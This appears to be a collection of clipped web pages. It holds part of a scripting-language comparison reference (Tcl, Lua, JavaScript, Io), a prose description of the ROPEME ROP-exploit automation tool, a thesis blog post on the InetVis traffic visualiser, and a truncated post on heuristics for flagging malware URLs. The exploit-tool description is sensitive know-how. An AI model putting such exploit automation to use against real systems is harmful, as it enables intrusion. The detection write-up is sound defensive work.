to 99, inclusive; how to generate a uniform float in the range 0.0 to 1.0; how
to generate a float from a standard normal distribution

## bit operators

The available bit operators.

# String Footnotes

## string literal

The syntax for a string literal.

## newline in literal

Are newlines permitted in a string literal?

## escapes

Backslash escape sequences that can be used in a string literal.

## variable interpolation

The syntax for interpolating variables into a string literal.

## string concatenation

The string concatenation operator.

## split

**tcl:**

_split_ takes an optional 2nd argument which is a string containing the
characters to split on. _split_ can only split on characters, not strings or
regular expressions. For each pair of adjacent splitting characters in the
input string, there will be an empty string in the result list.

**lua:**

how to split a string in Lua

## join

How to concatenate the elements of an array into a string with a separator.

## sprintf

How to create a string using a printf style format.

## case manipulation

## strip

## pad on right, pad on left, center

How to pad a string to a given length on the right; how to pad on the left;
how to center a string inside a larger string of a given length.

## length

How to get the number of characters in a string.

## index substring

How to get the index of the leftmost occurrence of a substring.

## extract substring

How to extract a substring.

## chr and ord

converting characters to ASCII codes and back

# Regular Expression Footnotes

## character class abbreviations and anchors

The supported character class abbreviations and anchors

abbrev| description  
---|---  
.| any character; doesn't match newline when -linestop in effect  
^| beginning of string; beginning of line when -lineanchor in effect  
$| end of string; end of line when -lineanchor in effect  
\A| beginning of string  
%a| letter  
\b, \y| word boundary  
\B, \Y| not a word boundary  
%c| control character  
\d, %d| digit \[0-9\]  
\D| not a digit \[^0-9\]  
%l| lowercase letter  
\m| beginning of a word  
\M| end of a word  
%p| punctuation character  
\s| white space  
\S| not white space  
%u| uppercase letter  
\w, %w| alphanumeric character. \w also matches underscore  
\W| not a word character  
\Z| end of string  
%z| the null character \(ASCII zero\)  
## match test

How to test whether a regular expression matches a string.

## case insensitive match test

How to test whether a regular expression matches a string, ignoring case.

## modifiers

Available flags for modifying regular expression behavior.

**tcl:**

modifier| description  
---|---  
-all| causes regexp to return number of matches in string; causes regsub to replace all occurrences of match  
-expanded| ignore whitespace in patten  
-indices| modifies group capture: returns start and end indices of the substring instead of the substring itself  
-inline| return the total match and each of the group captures as a list. Normally the number of matches is returned  
-line| same as using -lineanchor and -linestop  
-lineanchor| causes ^ and $ to match the beginning and ending of lines \(\A and \Z still match beginning and ending of string\)  
-linestop| causes . to not matcch a newline  
-nocase| makes matching case insensitive  
**javascript:**

modifier| description  
---|---  
g| when used with `match`, causes all occurrences of pattern in string to be
return in an array; when used with `replace` causes all occurrences to be
replaced  
i| makes matching case insensitive  
m| causes ^ and $ to match beginning and ending of lines instead of the whole
string  
## substitution

How to replace all occurrences of a pattern in a string with a substitution.

**tcl:**

To replace only the first occurrence of the pattern, omit the `-all` flag:

[code]

    set s "do re mi mi mi"
    regsub "mi" $s "ma"
    
[/code]

**lua:**

To specify the maximum number of pattern occurrences to be replaced, provide a
fourth argument:

[code]

    s = "do re mi mi mi"
    s = string.gsub(s, "mi", "ma", 1)
    
[/code]

**javascript:**

If the `g` modifier is not used, only the first occurrence of the pattern will
be replaced.

[code]

    s = "do re mi mi mi";
    s.replace(/mi/, "ma");
    
[/code]

## group capture

# Date and Time Footnotes

## current date/time

How to get the current time.

## to unix epoch, from unix epoch

How to convert a date/time object to the Unix epoch; how to convert a
date/time object from the Unix epoch.

The Unix epoch is the number of seconds since January 1, 1970 UTC. In the case
of Tcl and Lua, the native date/time object is the Unix epoch, so no
conversion is needed.

## strftime

How to use a strftime style format string to convert a date/time object to a
string representation.

`strftime` is from the C standard library. The Unix `date` command uses the
same style of format.

## strptime

How to parse a string into a date/time object using a `strftime` style format
string. `strptime` is from the C standard library.

## parse date w/o format

How to parse a string into a date/time object without using a format string.

## get date parts

How to get the year as a four digit integer; how to get the month as an
integer from 1 to 12; how to get the day of the month as an integer from 1 to
31.

## get time parts

How to get the hour as an integer from 0 to 23; how to get the minute as an
integer from 0 to 59; how to get the second as an integer from 0 to 59.

## build date/time from parts

How to assemble a date/time object from the 4 digit year, month \(1-12\), day
\(1-31\), hour \(0-23\), minute \(0-59\), and second \(0-59\).

## sleep

How to sleep for half a second.

# Container Footnotes

The names given by the languages for their basic container types:

| tcl| lua| javascript| io  
---|---|---|---|---  
array| list| table| Array| List  
dictionary| array, dict| table| Object| Map  
**tcl:**

Tcl arrays are associative arrays. The dict type is new in Tcl 8.5. See the
documentation for array and dict.

# Array Footnotes

## literal

Array literal syntax.

## size

How to get the number of elements in an array.

**lua:**

`# d` is not necessarily the number of values stored in a table. If `# d` is
_n_ , then the values stored at 1 through `n` are not nil and the value of
`n+1` is nil. There may be non-nil values at higher indices, however.
Furthermore, since tables can act as both arrays and dictionaries, there may
be values stored at non-integer or non-numeric indices.

`# d` returns the number of times that a `for` loop used with `ipairs` will
execute.

## lookup

How to access a value in an array by index.

**tcl:**

Does not support negative indices. To change the 2nd element in the list
_nums_ to 8, use

[code]

    lset nums 1 8
    
[/code]

_lset_ will not increase the size of the list if the index is out of bounds.
For more list manipulation commands see
http://www.tcl.tk/man/tcl/tutorial/Tcl15.html.

**lua:**

Lua arrays are indexed from one.

## slice

How to slice a subarray from an array.

## concatenation

How to concatenate two arrays.

## manipulate back of array

How to push or pop elements from the back an array. The return value of the
pop command is the value of the item which is removed.

With these commands an array can be used as a stack.

## manipulate front of array

How to shift or unshift elements to the front of an array. The return value of
the shift command is the value of the item which is removed.

With these commands an array can be used as a stack. When combined with the
commands from the previous section the array can be used as a queue.

## iteration

How to iterate through the elements of an array.

## sort

How to sort an array.

**io:**

`sort` does not modify the receiver. `sortInPlace` modifies the receiver:

[code]

    a := list(3,1,4,2)
    a sortInPlace
    
[/code]

## reverse

How to reverse the order of the elements in an array.

**io:**

`reverse` does not modify the receiver. `reverseInPlace` modifies the
receiver:

[code]

    a := list(1,2,3)
    a reverseInPlace
    
[/code]

## member, non a member

How to test whether a value is an element of an array; how to test whether a
value is not an element of an array.

## intersection

How to compute an intersection.

## union

How to compute the union of two arrays.

## set difference

How to find the elements of an array that are not in another array.

## map

How to apply a function to the elements of an array.

None of the examples modify the source array.

**lua:**

map implementation

## filter

How to select the elements of an array for which a predicate is true.

None of the examples modify the source array.

**lua:**

filter implementation

## reduce

How to reduce an array using a binary operation and an initial value.

None of the examples modify the source array.

**lua:**

reduce implementation

# Dictionary Footnotes

**tcl:**

The `dict` type was introduced in Tcl 8.5.

In earlier versions of Tcl associative arrays were used when a dictionary type
was needed, and they remain an alternative in Tcl 8.5. Associative arrays are
stored in variables as strings. The `array` command is used to treat the
string as an associative array:

[code]

    array set d [list "t" 1 "f" 0]
    array size d
    $d(t)
    array set d [list "t" 2]
    info exists d(t)
    array unset d "t"
    foreach {k v} [array get d] {
      puts k
      puts v
    }
    
[/code]

## literal

The syntax for a dictionary literal.

## size

How to get the number of entries in a dictionary.

## lookup

How to look up the value associated with a key.

**javascript:**

JavaScript objects support both _o.k_ and _o\['k'\]_ style attribute access,
but in the former case _k_ must be a valid JavaScript identifier.

## update

How to set or update the value associated with a key.

## out of bounds behavior

What happens when a lookup is performed for a key the dictionary does not
have.

## is key present

How to find out whether a value is associated with a key.

## delete

How to remove a key/value pair from a dictionary.

## iteration

How to iterate through all the key/value pairs of a dictionary.

# Function Footnotes

Python has both functions and methods. Ruby only has methods: functions
defined at the top level are in fact methods on a special main object. Perl
subroutines can be invoked with a function syntax or a method syntax.

## function declaration

How to declare a function.

## function invocation

How to invoke a function.

## missing argument value

Value of an argument variable if a function is invoked with fewer arguments
than are declared.

## extra arguments

If a function is invoked with more arguments than are declared, how the
function can access them.

## default value

How to declare a default value for an argument.

## variable number of arguments

How to write a function which accepts a variable number of argument.

## return value

How the return value of a function is determined.

## multiple return values

**lua:**

If a function returns multiple values, the first value can be selected by
placing the invocation inside parens:

[code]

    function roots(x)
      return math.sqrt(x), -math.sqrt(x)
    end
    (roots(4))
    
[/code]

## lambda declaration

How to define a lambda function.

## lambda invocation

How to invoke a lambda function.

## default scope

What scope do variables declared inside a function have by default.

**tcl:**

Tcl variables inside functions have local scope.

## nested function visibility

Whether nested functions are visible outside of the function in which they are
defined.

# Execution Control Footnotes

## if

The `if` statement.

**tcl:**

Tcl also has a switch:

[code]

    switch $a 0 { puts "no" } 1 { puts "yes" } 2 { puts "maybe" } default { puts "error" }
    
[/code]

## while

How to create a while loop.

## break and continue

_break_ exits a _for_ or _while_ loop immediately. _continue_ goes to the next
iteration of the loop.

## for

How to create a C-style for loop.

**lua:**

Provide a third argument to set the step size to something other than the
default of one:

[code]

    for i = 0, 90, 10 do
      print(i)
    end
    
[/code]

## raise exception

How to raise an exception.

## catch exception

How to handle an exception.

## finally/ensure

Clauses that are guaranteed to be executed even if an exception is thrown or
caught.

## uncaught exception behavior

System behavior if an exception goes uncaught. Most interpreters print the
exception message to stderr and exit with a nonzero status.

**tcl:**

A tcl process can have multiple interpreters and multiple threads. However,
each interpreter is limited to a single thread.

## generator

How to create and use a generator.

# File Footnotes

## print to standard output

**tcl:**

To prevent _puts_ from appending a newline to the output, use

[code]

    puts -nonewline "hello"
    
[/code]

## read from standard input

How to read a line from standard input.

## standard file handles

Constands for the standard file handles.

## open file

How to create a file handle for reading.

## open file for writing

How to create a file handle for writing.

**io**

If `remove` is not invoked, the file will not be truncated before writing.
Part of the old contents will still be visible if they exceed the length of
the new contents.

## close file

How to close a file handle.

## read line

## iterate over a file by line

## chomp

Remove a newline, carriage return, or carriage return newline pair from the
end of a line if there is one.

## read file

## write to file

## flush file handle

## file test, regular file test

## copy file, remove file, rename file

## set file permissions

## temporary file

# Directory Footnotes

# Processes and Environment Footnotes

**javascript:**

Browser-embedded JavaScript cannot interact with the browser's operating
system. All examples in this section assume the JavaScript code is being
executed by node.js.

## command line arguments

How to access the command line arguments.

## environment variable

How to access an environment variable.

## exit

How to terminate the process and set the status code.

## set signal handler

How to register a signal handler.

## external command

How to execute an external command.

**tcl**

When using tclsh as a shell or repl, external commands that do not have the
same name as a built-in or user defined function can be executed directly
without using the exec command.

## backticks

How to execute an external command and read the standard output into a
variable.

# Library and Module Footnotes

## library

What a library looks like.

## import library

How to import a library.

## library path

How to access the library path.

## library path environment variable

The environment variable which governs the library path.

## module declaration

How to declare a module.

## module separator

The separator used in module names.

## list installed packages, install a package

How to list the installed 3rd party packages; how to install a 3rd party
package.

# Object Footnotes

## create blank object

How to create a blank object without any attributes or methods, or at least
without any but the default attributes and methods.

## set attribute

How to set an object attribute.

## get attribute

How to get an object attribute.

## define method

How to define a method for an object.

## invoke method

How to invoke an object method.

## clone

How to make a copy of an object. Changes to the copy will not affect the
original.

## object literal

The syntax for an object literal.

# Reflection Footnotes

## class

## has method?

## message passing

## eval

## methods

## attributes

# Tcl

Tcl Tutorial  
Tcl Reference Manual  
Tcl Standard Library

Tcl has some traits which will be familiar to anyone who has done Unix shell
script programming:

\(1\) variables have a $ prefix except when values are assigned to them, in
which case they are used unadorned:

[code]

    set v 42
    puts $v
    
[/code]

\(2\) statements consist of a command and zero or more arguments. Commands
which are not built-in functions are resolved by looking for an external
command in the search path and running it.

\(3\) the values are always stored in variables as strings. Commands which
expect numeric arguments perform an implicit conversion, so there isn't much
practical consequence for the developer.

\(4\) in the absence of quoting \("", \{\}, \[\]\) the arguments of a command
are parsed into words using whitespace; commas are not used to separate
arguments.

\(5\) square brackets \[\] must be used to execute a function and use its
return value as an argument. A combination of square brackets \[\] and the
`expr` command must be used to evaluate an expression and use its value as an
argument:

[code]

    puts [format "%10s" "lorem"]
    puts [expr 1 + 1]
    
[/code]

Square brackets can be used to invoke an external command, but the value of
the square brackets containing an external command is always the empty string:
"".

Unlike shells, \*, ?, ~ in variable names are not automatically expanded using
the filesystem, but this behavior can be invoked with the glob command.

# Lua

Lua 5.1 Reference Manual  
Lua Tutorial Directory

The Lua REPL is actually a REL; that is, it doesn't print the value of
statement. Furthermore, expressions are not in general statements. `print()`
can be used to display numbers and strings. There is no built in pretty
printer for tables.

In Lua all numbers are stored as double precision floats. The table type can
be used as both an array and a dictionary.

# JavaScript

JavaScript Guide  
Core Global Objects  
Eloquent JavaScript  
ECMA 262 5th Edition \(pdf\) 2009  
Node.js  
jQuery  
DOM 3 Core  
DOM 3 Events

# Io

Io Programming Guide  
Io Reference

# History

# Tcl History

Tcl Chronology:

6.0 \(1991\)

7.0 \(1993\)

Tcl and the Tk Toolkit \(1994\)

Tk 4.0 \(1995\)

8.0 \(1997\)

  * bytecode compiler \(previously strings\)
  * namespaces

8.1 \(1999\)

  * threads \(at most one tcl interpreter per thread, but multiple interpreters per process\)
  * unicode

8.2 \(1999\)

8.3 \(2000\)

8.4 \(2002\)

8.5 \(Dec 23, 2007\)

  * bignum
  * dict
  * anonymous procedures

# JavaScript History

JavaScript was released as part of Netscape Navigator 2.0 in 1995. Internet
Explorer 3.0 added a mostly compatible language called JScript in 1996. ECMA
published an open standard for JavaScript in 1997; the official name for the
language described in the standard is ECMAScript. Macromedia added scripting
to Flash 4 \(1999\). Flash 5 \(2000\) used a revised scripting language called
ActionScript which was based on ECMAScript.

## JavaScript and Java

Navigator 2.0 could also run Java applets by means of its plug-in architecture
and the HTML tag _embed_. The _embed_ tag was deprecated by the W3C because
the attributes are plug-in specific. Java applets can also be run via the HTML
tag _applet_ , but this tag is deprecated because it is Java specific. The
_object_ tag is the recommended way to run Java in the browser.

JavaScript was called Mocha when the language was under development. According
to Brendan Eich, it was an explicit design goal for the language to have a
Java-like syntax.

## DOM

DOM 1  
DOM 2 Core

JavaScript was initially used for form validation and image rollovers. The
JavaScript code was launched by registering it using HTML tag attributes such
as _onSubmit_ and _onMouseOver_. Early versions of JavaScript did not have
much ability to change the HTML document being rendered by the browser. The
W3C devised a standard for an object-oriented library by which JavaScript
could inspect and manipulate any part of the document. The standard was
released in 1998 as the Document Object Model \(DOM\) 1. What ability the
browsers had to interact with the document before the standard was
retroactively called DOM 0 or Legacy DOM.

DOM 2 \(2000\) added the document.getElementById method, which the frameworks
would abbreviate with $, as well as events and CSS support. DOM 3 \(2004\)
added keyboard events and XPath support.

## Ajax and JSON

JSON  
RFC 4627: The application/json Media Type for JavaScript Object Notation 2006

The _iframe_ tag, which Internet Explorer added as a possible child tag of a
_frame_ in 1996, gave JavaScript the ability to replace a portion of the HTML
document with body of an HTTP request. Internet Explorer 5 \(1999\) added the
XMLHTTP Active X control for fetching data via HTTP. The other browsers added
an object called XMLHttpRequest, starting with Mozilla in 2002, with the same
functionality. The technique of loading data in an HTTP request separate from
the HTTP request initially used to load the document was christened
Asynchronous JavaScript and XML, or Ajax, in 2005. Ajax improves the
performance of JavaScript applications, making them competitive in many cases
with desktop apps.

The payload of an Ajax request does not have to be XML. JSON, which is a
subset of JavaScript containing the array literal and object literal notation,
is a convenient alternative data format.

## Frameworks

Comparison of JavaScript Frameworks

JavaScript frameworks such as prototype.js \(2005\) and jquery.js \(2006\)
become available. These libraries add features, hide incompatibilities in
browser behavior, and augment the DOM with convenience methods.

# Thanks

  * Andrew Shadoura \(Tcl\)

page revision: 1441, last edited: 8 Oct 2011, 06:59 CEST \(3 days ago\)

Edit History Files \+ Options

Help | Terms of Service | Privacy | Report a bug | Flag as objectionable
Powered by Wikidot.com

Unless otherwise stated, the content of this page is licensed under Creative
Commons Attribution-ShareAlike 3.0 License

<img
src='http://hyperpolyglot.org/data:image/png;base64,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'
width='24' height='24' />

# ROPEME – ROP Exploit Made Easy : VNSECURITY TEAM \(Vietnam Internet Security
Research Team\)

**Created:**| _5/25/2011 3:35:08 PM_  
---|---  
**Updated:**| _5/25/2011 3:35:14 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# ROPEME – ROP Exploit Made Easy

August 13, 2010 by longld · 1 Comment  

ROPEME – ROP Exploit Made Easy – is a PoC tool for ROP exploit automation on
Linux x86. It contains a set of simple Python scripts to generate and search
for ROP gadgets from binaries and libraries \(e.g libc\). A sample payload
class is also included to help generate multistage ROP payload with the
technique described in the Black Hat USA 2010 talk: “Payload already inside:
data re-use for ROP exploits“.

# PDF-KungFoo with Ghostscript & Co. -100 Tips and Tricks for Clever PDF
Creation and Handling

**Created:**| _5/8/2015 3:08:50 PM_  
---|---  
**Updated:**| _5/8/2015 3:09:14 PM_  
**Author:**| __  
**Tags:**| _pdf_  
  
<img src='img/pdfkungfoo-sample.pdf' />

# Yestin's Tech Blog

**Created:**| _11/24/2018 11:46:42 AM_  
---|---  
**Updated:**| _11/24/2018 11:46:42 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Modernisation and Extension of InetVis

As I mentioned in my previous post, Hello World\!, I handed in my MSc thesis
in January this year. After some delay, and moving to a new country, my Master
of Science in Computer Science specialising in Information Security degree is
finally complete\! My thesis is now available online, and I will be graduating
at the next ceremony held at Rhodes University in 2019\!

In this post I just wanted to give a quick summary of what my thesis entailed,
and perhaps pique the reader’s interest in the focus of my research, the
Internet Visualiser, or as its commonly known, InetVis.

InetVis is based off of the original research performed at Rhodes University
by J-P van Riel between 2005 and 2007. The original research’s website
describes InetVis as follows:

> InetVis is a 3-D scatter-plot visualization for network traffic. In way,
> it’s more or less like a media player, but for network traffic. It’s quite
> handy for observing scan activity and other anomolous traffic patterns.
The image below shows the two main UI windows of InetVis, namely the
visualisation plane and the control panel. This image is of the original
version of InetVis, before the commencement of my research, and is sourced
from the original InetVis research webpage, mentioned previously.

<img src='img/control_panel_with_display_window.png' width='300' height='262'
alt='control_panel_with_display_window' />

The original InetVis visualisation plane and control panel.

By making use of InetVis it is possible for the user to either load a packet
capture, or to monitor a local network interface, and to visualise the
underlying network event information on a 3D scatterplot. The utility provided
here is that it is much easier for us, as humans, to detect patterns in visual
data, than it is for computers to programmatically detect anomalies and
patterns in textual network event data.

Before the start of my research project InetVis had last been updated at the
end of 2007, and given this, it did not run on modern operating systems
without considerable effort. My research aimed to modernise and extend the
functionality of InetVis, in order to enable it to run correctly on modern
hardware and operating systems, and to improve its featureset and usefulness
to users.

This research was useful because InetVis was originally used at Rhodes
University to analyse packet captures that were collected from the network
telescope run by the Security and Networks Research Group \(SNRG\). This tool
enabled researchers to quickly and easily analyse the large amounts of packet
capture data that was collected by the telescope. As the world moved forward,
but the software did not, the research group lost the ability to easily use
this application to aid their research.

The first goal of my research was to modernise InetVis. This was accomplished
mainly by porting the application code to the latest version of the Qt
framework \(Qt 5\), and then making other small fixes and improvements to
enable InetVis to run on a modern Ubuntu install. The process taken to
accomplish this is described in great detail in my thesis.

The second goal of my research was to identify and implement potential new
features and improvements for InetVis, in order to extend its usefulness,
thereby making it more attractive to new and existing users. New features that
were implemented included a  _general settings framework_ , and many new
settings, which allow users to easily alter the behaviour of the application
in a persistent manner. This also enables researchers and future developers to
quickly and easily add new settings themselves when the need arises.
Preliminary support for MacOS was also introduced, as well as support for
HighDPI displays. Many more smaller features and improvements were also
implemented, all of which are detailed in my thesis.

An image of the updated InetVis UI can be seen below:

<img src='img/screen-shot-2017-07-09-at-17-01-44.png' width='300' height='279'
alt='InetVis Modern Visualisation and Control Panel' />

The updated InetVis visualisation plane and control panel.

At the end of my research a functional version of InetVis was produced. It was
capable of running on modern 64-bit Linux and MacOS operating systems. An
Ubuntu installer \(and uninstaller\) was implemented and included for ease of
use. Finally, InetVis was extended and improved in small, but useful, ways.
This paves the way for future use, research, and development in this area.

The official GitHub repository for the project can be found at
https://github.com/yestinj/inetvis.

My thesis on this research can be found at it’s official home, at
http://hdl.handle.net/10962/69223.

The companion YouTube channel I created for this research, which contains
videos showing how to use InetVis, and a few packet captures, can be found
here: https://www.youtube.com/channel/UCaM01BjgzFHcTIr-7j8nIeA/

 yestinj  Data Visualisation, Infosec, Project, Software Development Leave
a comment  November 19, 2018 3 Minutes

# Hello World\!

Hi, and welcome to my tech blog\!

In this first post I’ll give you a bit of my backstory and explain what sorts
of things I’ll be posting about.

I’ve been threatening to start a blog for many years, but whenever I’ve tried,
I never got to actually writing anything… Over the past two years I have been
busy completing a MSc in Computer Science. This involved a lot of academic
writing, last year in particular for my research thesis. When I handed in my
thesis in January I quickly realised how much I had been enjoying the writing,
and that I wanted to continue with it. Starting a blog again, and actually
writing posts this time, seemed like an excellent idea :-\).

Now a bit of my backstory, for those of you who might not know me yet. I’ve
been interested in computers since quite a young age. I don’t remember exactly
when, but early primary school was when I first really encountered computers,
and learnt the basics \(including some _Basic_ which at the time I didn’t
understand at all\). From then on I just kept learning and learning,
throughout school, after-school courses, independent-study, university, work,
and finally more university\! Along the way I’ve developed a particular
passion for software development and information security.

On this blog I plan to write about all manner of technical topics, including
things like software development, cryptography, penetration testing,
operational security \(\#opsec\), home networking, and pretty much anything
that piques my interest.

My skills and practical experience give me a unique perspective into certain
technical areas, and I plan to share as much of this as possible with
everyone. I’ve been working as a software engineer/developer for almost 10
years now, and 5 of those years were at a startup where I got thrown into the
deep end of backend development and learnt much more about software
development than I ever expected to\!

I am slowly but surely moving from backend software development into full
stack development, specifically focusing on security applications. I hope to
extend this further in the future and move into more specific security
research and development.

If you’ve read this far, thanks for sticking around\! This introductory post
is likely to be the rare post which does not specifically discuss anything
technical.

My next post will cover my Ubiquiti UniFi home network setup which I
architected upon arrival in England. I’ll be releasing this post soon\!

 yestinj  Personal 2 Comments  November 18, 2018 2 Minutes

  

# Heuristics to detect malware distributed via Web | Unintended Results
**Created:**| _8/23/2014 10:40:54 AM_  
---|---  
**Updated:**| _8/23/2014 10:40:54 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis math similarity heuristics_  
  

# Heuristics to detect malware distributed via Web

1 Reply

Two years ago I started a project, for fun, to try to catch as much malware
and URLs related to malware as possible. I have written about this before. In
this post I’ll explain the heuristics I use for trying to classify URLs as
malicious with “Malware Intelligence” \(the name of the system that generates
the daily Malware URLs feed\). What a normal user sees in any of the 2 text
files offered are simply domains or URLs that I classified as “malicious”.
But, how does “Malware Intelligence” classifies them as malicious? What
heuristics, techniques, etc… does it use?

**Malware Intelligence**

The server processes in Malware Intelligence take URLs from many sources for
later analysis. Some sources are public and others are not. Each URL is put in
a queue and, from time to time, a process called “URLAna” performs some checks
to determine if the URL seems to be malicious or not. The tool URLAna will
call smaller tools that will return a score: a score bigger than 0 means that
something was found. A score of 0, nothing bad was found. If after running
each mini-tool against the URL or domain its score is bigger than 4, then, the
URL is considered “malicious”. I do not use negative scores at all because I
consider them a bad idea \(for this project\).

Both hourly and daily, statistics are gathered about the number of URLs
detected, when, how, etc… These statistics and many more features can be seen
in the \(private\) Malware Intelligence’s web page. Let’s see one graphic from
the statistics web page about the number of URLs classified as malicious by
each heuristic before actually explaining them:

<img src='img/Temp2_3805.png' alt='Heuristics statistics' />

Statistics for each heuristic used by the Malware Intelligence’s process
URLAna.

**Unknown domain**

As we can see in the picture, the heuristic that catches more bad URLs is
“Unknown domain”: typically ~60% of URLs. This heuristic simply does the
following:

  * Download the Alexa’s Top 1 Million domains and save them to a database.
  * Add \(but do not delete\) new domains daily.
  * Possible false positives and manually excluded domains goes also to this table.
  * When URLAna calls this process I simply check if the domain is in this daily updated table. If it isn’t, I consider it “suspicious” and give back a score of 1.

This heuristic doesn’t say that anything is bad. It simply says that “this is
unknown and could be bad”. However, in my experience, blocking domains outside
the Alexa’s Top 1 Million blocks more than 60% of distributed malware.

And, well, this is how I can “detect” more than half of the malicious URLs
Malware Intelligence processes daily. Let’s continue with the next high
scoring heuristic: “Thirdy Party Services”.

**Thirdy party services**

This heuristic uses 3rd party services, as it’s clear from its name. Namely,
the following:

  1. Surbl: Extracted from their web: “SURBLs are lists of web sites that have appeared in unsolicited messages“. This service offers an API I use to check if the domain is “bad”. If Surbl reports “something” about the URL, a score of 1 is added to the URLs.
  2. SpamHaus: This is a well known service for downloading long lists of known spammers but, also, they add to the lists malware domains. As with Surbl, it exports an API that I use to check if the domain is considered “bad”. If so, it scores +1.
  3. Google Safe Browsing: This is a Google project that let’s you check if one URL or domain is/was considered bad by their own automated malware analysis systems. As with the previous cases, they export an API that I make use of. However, GSB is more focused on malware than in spam and, as so, I add, directly, a score of 4 points if GSB says that something was found for that URL.

And that’s all about this easy to implement mini tool. This heuristic is the
2nd one detecting malicious URLs. However, compare the percentages: the
“unknown domain” rule detects ~60% of malicious URLs, this one ~15%. Notice
the difference? Each time you add a new heuristic to detect more malicious
URLs you will discover that the amount of work required for adding only a few
ones is huge \(and I’m ignoring the fact that there is actually **a lot of
work** behind all these 3 services\) Don’t believe me? Let’s continue seeing
more heuristics, some rather easy and others not _that_ easy and comparing the
results…

**Obfuscated domain \(or URL\)**

The 3rd one at the podium is this rule. It’s as simply as the following: if
the URL or the domain are obfuscated, then its score is increased by 1.
Simple, isn’t it? Yes, as soon as you have defined “what is obfuscated” and
coded it. In my case, I simply make use of 2 not so complex rules:

  1. If there are more than 6 continuous vowels or consonants, I consider it obfuscated. In either the domain, sub-domain or in the URI.
  2. For domains longer than 8 characters if the set with the minimum of either vowels or consonants multiplied by 3 and adding 2 is lower than the total of the other set, I consider it malicious.

Complicated? Not so complex when you have 40 million known bad URLs to test
with. Hard at first: this is one of the first heuristics I added and one of
the more I modified. At first. Why? Let’s take a look to one good URL from
Google:

https://chrome.google.com/webstore/detail/web-
developer/bfbameneiokkgbdmiekhjnmfkcnldhhm

This \(damn\) URL is the link for the Web Developer extension for Chrome. One
question: do you consider this URL obfuscated or not? I would say yes. Is
malicious? No.

**Content analysis: packed file**

The 4th heuristic\(s\) at the top is this one. This heuristic, only applied
for PE and ELF files analyses with Pyew the program \(by the way, a URL
pointing directly to a program automatically scores +1\) and determines if
it’s:

  1. Packed.
  2. Packed and obfuscated.

Pyew already have one of these heuristic implemented \(the obfuscation related
one\). The other heuristic use is implemented \(only for PE files\) by the
Python library pefile, by Ero Carrera. There is no magic here: a somewhat
“big” binary with very little functions or with code that when analysing
produces too many errors and, still, have one, a few or even no detected
function at all is considered probably bad. If the application is “packed”,
its score is increased by 1. If it’s obfuscated, by 2. However, this
heuristic, the one that tries to detect obfuscation \(and anti-emulations,
etc…\), catches like ~50 files per day. Only. Do you want to enhance it to
